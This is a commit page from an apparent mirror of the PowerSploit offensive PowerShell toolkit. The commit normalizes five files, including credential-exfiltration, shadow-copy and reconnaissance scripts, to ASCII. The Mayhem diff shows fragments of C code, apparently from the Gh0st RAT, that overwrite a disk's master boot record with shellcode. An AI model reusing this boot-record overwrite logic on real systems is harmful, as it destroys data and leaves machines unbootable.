Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Normalizing all files to ascii encoding

This commit is contained in:
Matt Graeber 2015-11-04 13:48:27 -05:00
parent 2dd1f5920d
commit 12ce71b9f4
5 changed files with 11 additions and 11 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
Exfiltration/Get-VaultCredential.ps1
View File

@ -1,4 +1,4 @@
function Get-VaultCredential function Get-VaultCredential
{ {
<# <#
.SYNOPSIS .SYNOPSIS

2
Exfiltration/VolumeShadowCopyTools.ps1
View File

@ -1,4 +1,4 @@
function Get-VolumeShadowCopy function Get-VolumeShadowCopy
{ {
<# <#
.SYNOPSIS .SYNOPSIS

2
Mayhem/Mayhem.psd1
View File

@ -1,4 +1,4 @@
@{ @{
# Script module or binary module file associated with this manifest. # Script module or binary module file associated with this manifest.
ModuleToProcess = 'Mayhem.psm1' ModuleToProcess = 'Mayhem.psm1'

6
Mayhem/Mayhem.psm1
View File

@ -1,4 +1,4 @@
function Set-MasterBootRecord function Set-MasterBootRecord
{ {
<# <#
.SYNOPSIS .SYNOPSIS
@ -57,7 +57,7 @@ int CGh0stApp::KillMBR()
DWORD dwBytesWritten, dwBytesReturned; DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0}; BYTE pMBR[512] = {0};
// 重新构造MBR // ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1); memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55; pMBR[510] = 0x55;
pMBR[511] = 0xAA; pMBR[511] = 0xAA;
@ -85,7 +85,7 @@ int CGh0stApp::KillMBR()
&dwBytesReturned, &dwBytesReturned,
NULL NULL
); );
// 写入病毒内容 // ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl DeviceIoControl
( (

2
Recon/Get-ComputerDetails.ps1
View File

@ -1,4 +1,4 @@
function Get-ComputerDetails function Get-ComputerDetails
{ {
<# <#
.SYNOPSIS .SYNOPSIS